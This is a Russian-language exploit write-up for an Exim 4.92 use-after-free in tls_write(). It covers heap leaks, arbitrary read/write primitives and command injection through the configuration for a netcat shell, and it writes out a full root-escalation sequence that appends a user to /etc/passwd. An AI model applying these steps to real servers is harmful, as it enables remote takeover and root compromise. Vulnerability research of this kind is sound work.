
exim use after free exploit and detection
Существует уязвимость Use-after-free (UAF) в tls-openssl.c, которая позволяет удаленным неаутентифицированным злоумышленникам повредить внутренние данные памяти, что в конечном итоге приводит к удаленному выполнению кода.
Примитивы:
Используя все эти примитивы в цепочке, можно полностью обойти все доступные механизмы защиты от эксплуатации, что в конечном итоге приводит к удаленному выполнению кода от имени пользователя exim.
Эта уязвимость была опубликована в составе большого списка уязвимостей; в официальном отчете Qualys Use-After-Free объединяется с CVE-2020-28008 для выполнения локального повышения привилегий (LPE) после достижения RCE.
Exim должен быть настроен/скомпилирован следующим образом:
X_PIPE_CONNECT отключенВы можете использовать скрипт checker.py, чтобы проверить, находится ли удаленный сервер на уязвимой версии и имеет ли необходимые требования для эксплуатации.
[!] checker.py НЕ вызывает уязвимость, а только проверяет наличие уязвимой версии, а также включены ли PIPELINING и TLS. Это означает, что данный чекер не проверяет наличие исправления, что может приводить к ложным срабатываниям.
Как мы уже знаем, уязвимость находится в tls-openssl.c.
/*************************************************
* Write bytes down TLS channel *
*************************************************/
/*
Arguments:
ct_ctx client context pointer, or NULL for the one global server context
buff buffer of data
len number of bytes
more further data expected soon
Returns: the number of bytes after a successful write,
-1 after a failed write
Used by both server-side and client-side TLS.
*/
int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;
DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
buff, (unsigned long)len, more ? ", more" : "");
/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified. This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset). Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */
if (!ct_ctx && (more || corked))
{
#ifdef EXPERIMENTAL_PIPE_CONNECT
int save_pool = store_pool;
store_pool = POOL_PERM;
#endif
corked = string_catn(corked, buff, len);
#ifdef EXPERIMENTAL_PIPE_CONNECT
store_pool = save_pool;
#endif
if (more)
return len;
buff = CUS corked->s;
len = corked->ptr;
corked = NULL;
}
for (left = len; left > 0;)
{
DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
outbytes = SSL_write(ssl, CS buff, left);
error = SSL_get_error(ssl, outbytes);
DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
switch (error)
{
case SSL_ERROR_SSL:
ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
return -1;
case SSL_ERROR_NONE:
left -= outbytes;
buff += outbytes;
break;
case SSL_ERROR_ZERO_RETURN:
log_write(0, LOG_MAIN, "SSL channel closed on write");
return -1;
case SSL_ERROR_SYSCALL:
log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
sender_fullhost ? sender_fullhost : US"<unknown>",
strerror(errno));
return -1;
default:
log_write(0, LOG_MAIN, "SSL_write error %d", error);
return -1;
}
}
return len;
}
smtp_setup_msg() — это основная функция, выполняющая чтение сообщения от клиента.
В определенных ситуациях вызывается smtp_reset(), которая очищает все буферы и значения.
Это может происходить в таких ситуациях, как:
HELO/EHLOSTARTTLSRSETsmtp_setup_msg()В конце smtp_reset() вызывается store_reset().
store_reset — это макрос, оборачивающий функцию store_reset_3().
Функции store — это просто функции, управляющие динамической памятью.
Exim использует пуловой аллокатор для блоков, получаемых от malloc.
Также существует интересная функциональность — реализация расширяемых строк.
Структура gstring:
typedef struct gstring {
int size; /* Current capacity of string memory */
int ptr; /* Offset at which to append further chars */
uschar * s; /* The string memory */
} gstring;
Когда требуется больше места для конкатенации новой строки, вызывается gstring_grow().
Эта функция сначала пытается вызвать store_extend_3(), которая пытается расширить память в рамках текущего блока пула.
Это может быть полезно, когда длина входных данных неизвестна, но если после нее было выделено больше памяти, расширить ее не удастся.
Затем gstring_grow() вызывает store_newblock_3(), которая просто возвращает новую память и копирует уже присутствующие байты из старой в новую.
Затем указатель g->s восстанавливается из gstring_catn().
В функции tls_write() мы видим BOOL с именем more.
Он указывает, нужно ли скопировать еще данные в строковый буфер перед возвратом данных пользователю.
Если да, указатель не обнуляется.
Если нет, то данные, содержащиеся в строковом буфере, возвращаются пользователю.
Эта функциональность открывает некоторые интересные способы вызвать Use-After-Free.
Во-первых, указатель на структуру gstring хранится в статической переменной, что означает, что при последующих вызовах tls_write() мы сможем его использовать.
Как мы можем освободить буфер, а затем иметь возможность его использовать?
Нам нужно, чтобы smtp_setup_msg() вызвала smtp_reset() после того, как один из наших буферов все еще находится в server_corked (не обнулен).
После сброса, если мы каким-то образом вызовем tls_write(), указатель все еще будет там, что позволит нам использовать его после освобождения памяти.
smtp_reset() освобождает всю память POOL_MAIN, в которой содержится наш буфер.
Чтобы контролировать Use-After-Free, нам сначала нужно инициализировать новое соединение.
Так как мы хотим эксплуатировать tls_write(), нам сначала нужно начать новую TLS-сессию.
Итак, сначала мы отправляем команду EHLO, за которой следует STARTTLS для запуска TLS-соединения.
Затем, чтобы more стал 1, мы конвейеризируем команду, и последней будет половина NOOP.
Мы закрываем TLS-соединение и отправляем оставшуюся часть команды NOOP.
Теперь мы снова отправляем EHLO, что вызовет smtp_reset и освободит наш буфер.
Теперь нам нужно запустить другое TLS-соединение, чтобы снова иметь возможность использовать tls_write().
Мы отправляем STARTTLS.
Теперь отправка любой команды серверу приведет к вызову tls_write() для возврата ответа.
Но... server_corked все еще содержит указатель на какое-то место в освобожденной памяти.
И эти данные могут быть использованы другими функциями, так как они освобождены... таким образом, наша структура gstring будет повреждена случайными двоичными данными.
Вот результат срабатывания UAF:
gef➤ p *corked
$1 = {
size = 0x54595c9c,
ptr = 0xa7e800ba,
s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤ p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤
Эта структура находится в таком состоянии как раз при входе в tls_write() для нашей команды после STARTTLS.
Очевидно, что попытка доступа к corked->s приводит к прерыванию SIGSEGV.
Как упоминается Qualys, для эксплуатации уязвимости используются три шага:
header_line, в наш буфер, так что когда будет вызвана tls_write(), эти данные будут возвращены пользователю. Таким образом, мы получаем утечку памяти для продолжения эксплуатации.${run{<команда>}}, где <команда> — это любая команда, которую злоумышленник хочет выполнить, например, обратная оболочка с использованием netcat. Эта конфигурация будет интерпретирована string_expand() и в конечном итоге выполнит команду.Отлично, нам удалось вызвать Use-After-Free.
Теперь нам нужно хорошо контролировать UAF, чтобы успешно и надежно создавать наши примитивы.
К сожалению, после освобождения буферов из POOL_MAIN наш блок будет напрямую передан в free().
Это означает, что память будет доступна не только через store_get_3() или store_newblock_3(), но и через любую функцию, использующую malloc()... например, CRYPTO_zalloc() и многие другие.
В данном случае, где-то в tls_server_start(), память запрашивается через malloc().
Затем в нее копируются некоторые двоичные данные, повреждая нашу структуру gstring.
Нам нужен способ предотвратить это, чтобы мы могли достичь tls_write() с корректной структурой gstring, указывающей на допустимый адрес памяти; иначе произойдет прерывание SIGSEGV.
После понимания того, как работает пуловой аллокатор Exim, отладки и проб некоторых команд для изучения их поведения на стороне кучи, мы наконец можем избежать записи этих данных в нашу структуру gstring.
Как только мы успешно вызвали Use-After-Free и у нас нет проблем с повреждением структуры, нам нужно попытаться переместить кучу таким образом, чтобы функция записала адрес кучи в середину нашей строки (любую позицию до g->ptr).
Нам повезло, так как ответы, несмотря на то, что они являются обычным текстом (а не двоичным протоколом), позволяют отправлять нулевые байты обратно клиенту.
Почему так происходит?
Ответы отправляются обратно с помощью SSL_write(), проблем с нулевыми байтами нет.
А что насчет строк? string_catn() не обрезает нулевые байты, так как использует memcpy для копирования данных.
Единственный способ установить лимит — через g->ptr, но... так как адрес записывается до индекса g->ptr, все данные до него возвращаются нам, что приводит к утечке ценных адресов кучи.
Результат утечки памяти с помощью PoC:

Итак, мы раскрыли базу кучи...
И... адреса не меняются между соединениями... поэтому мы можем начать путь к RCE
Но... как нам перезаписать структуру gstring?
Оказалось, что это довольно просто, используя технику Qualys.
ESMTP добавил некоторые расширения к протоколу SMTP, например, параметры для команд MAIL FROM.
Использование большого параметра после последнего STARTTLS достаточно для перезаписи структуры :)
Результат:
gef➤ p *corked
$1 = {
size = 0x42424242,
ptr = 0x42424242,
s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}
Полный контроль над структурой gstring.
Теперь пришло время создать наш примитив произвольного чтения.
Кажется, это просто... перезаписываем g->size и g->ptr большим значением.
Затем перезаписываем g->s адресом памяти, с которого хотим читать.
Когда команда завершится, будет вызвана tls_write() для возврата данных пользователю.
Поскольку указатель строкового буфера поврежден и указывает на произвольное местоположение атакующего, данные из этого местоположения будут возвращены.
Теперь мы можем реализовать функцию, которая перебирает блоки, читает и пытается найти ключевые слова, которые позволят нам узнать, является ли блок тем, который содержит конфигурацию Exim. Если да, то мы перейдем к последнему шагу.
Реализованная мной функция перебирает каждый блок размером READ_SZ вдоль кучи, начиная с базового адреса кучи.
[+] Leaked heap address = 0x55c846683d90
[+] Leaked heap_base = 0x55c8465f4000
[*] Searching for Exim configuration in memory...
[+] Config found at: 0x55c8465f6328
Как только что-то найдено, переходим к последнему шагу.
Отлично! Мы знаем базовый адрес кучи. И, что еще интереснее, мы знаем, где находится конфигурация Exim!
Теперь пришло время для RCE, не так ли?
Теперь нам нужно (каким-то образом) перезаписать конфигурацию exim и внедрить ${run{<команда>}}. Так что, когда будет выполнена string_expand(), наша команда будет интерпретирована, и в итоге мы получим произвольное выполнение команд.
Самый простой способ получить RCE — использовать netcat, поэтому просто используя nc в команде, мы получим оболочку.
Но... как нам создать такой примитив "запись-куда-угодно"?
Сначала мы должны перезаписать (как мы делали с примитивом произвольного чтения) структуру gstring.
Получив над ней контроль, мы можем сначала указать g->s на место, куда хотим записать; в данном случае это адрес конфигурации Exim.
Затем при следующей записи ответа в буфер ответ будет записан туда, куда указывает g->s :)
Но... как нам повредить структуру gstring и одновременно получить произвольный ответ?
Qualys не очень ясно объяснил это в своем отчете.
Нам нужно, чтобы команда "MAIL FROM" возвращала произвольные данные.
После нескольких попыток я решил, что лучшее решение — это сообщение об ошибке.
Мы можем выбрать ADDR - strlen("501 ").
Таким образом, эти четыре байта не повредят нашу цель.
Как заставить MAIL FROM завершиться неудачей? Я использую неправильного отправителя; так как отправитель требует домен, если домен не указан, сообщение об ошибке будет содержать данные, отправленные клиентом.
Но есть проблема. Поскольку мы отправляем NULL, возвращается такое сообщение: "501 NUL characters are not allowed in SMTP commands".
Так что все еще нет способа контролировать вывод, так как нам нужны NULL в запросе.
Мы не можем отправить другой "MAIL FROM", чтобы повредить ответы по той простой причине, что после срабатывания UAF more=0 и доступа к освобожденному буферу нет.
Но из handle_smtp_call(), если мы отправляем DATA, receive_msg(). Мы можем обмануть его, чтобы он не восстанавливал текущий пул, так что мы сможем немного подправить кучу, чтобы перезаписать освобожденный буфер.
Как только мы его перезаписываем, мы отправляем MAIL FROM с неверными данными, конвейеризированный с действительным. Ответ будет записан в указатель s.
После того, как мы достигли записи куда угодно, у меня возникли проблемы с прямым использованием netcat, так как требовались некоторые условия для количества аргументов. Поэтому я сделал: /bin/sh -c '<команда nc здесь>'.
Я перезаписал ACL MAIL FROM, так что конвейеризация второго MAIL FROM приводит к вызову expand_cstring() и, в конечном итоге, к выполнению моей произвольной команды.
Это скриншот после получения оболочки с помощью эксплойта:

$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
* Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#
Тесты проводились на debian:
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
С версией exim:
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated
Моя версия Exim скомпилирована самостоятельно, но я повторил флаги компиляции, используемые в основной версии Debian.
Конфигурация такая же, как у Debian по умолчанию, плюс некоторые незначительные изменения.
В этом репозитории есть каталог exim-4.92. Это исходный код exim.
Сначала установите exim с помощью менеджера пакетов apt.
Загрузите каталог exim и каталог config на машину.
Сначала скопируйте config/Makefile в exim-4.92/Local.
Затем скопируйте config/eximon.conf в exim-4.92/Local.
Теперь запустите make, будет создан каталог build-linux-*, перейдите в него и замените все вхождения "-O2" на "-O0".
Проделайте то же самое в каталоге OS/. Наконец, в build-linux-* добавьте -g в переменную CFLAGS.
Рекомендуется добавить libc и исходный код exim в gdb.
Теперь make и make install.
cp /usr/exim/bin/* /usr/sbin/
cp /usr/sbin/exim /usr/sbin/exim4
Я использовал этот скрипт для генерации сертификатов: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert
Наконец, включите TLS в конфигурации exim4 в /etc/exim4
и используйте /etc/exim4/exim.crt и /etc/exim4/exim.key, сгенерированные bash-скриптом.
В конце: sudo update-exim4.conf && systemctl restart exim4
Проверьте systemctl status exim4, чтобы убедиться, что все в порядке.
Если после попытки STARTTLS вы получаете сообщение об ошибке "TLS not currently available", проверьте журналы exim4.
У меня возникла проблема из-за того, что ключ, который я использовал для сертификатов, был слишком коротким. Поэтому измените количество бит ключа в ранее упомянутом скрипте gencert (я использую 4096).
Для получения дополнительной информации посетите официальный отчет Qualys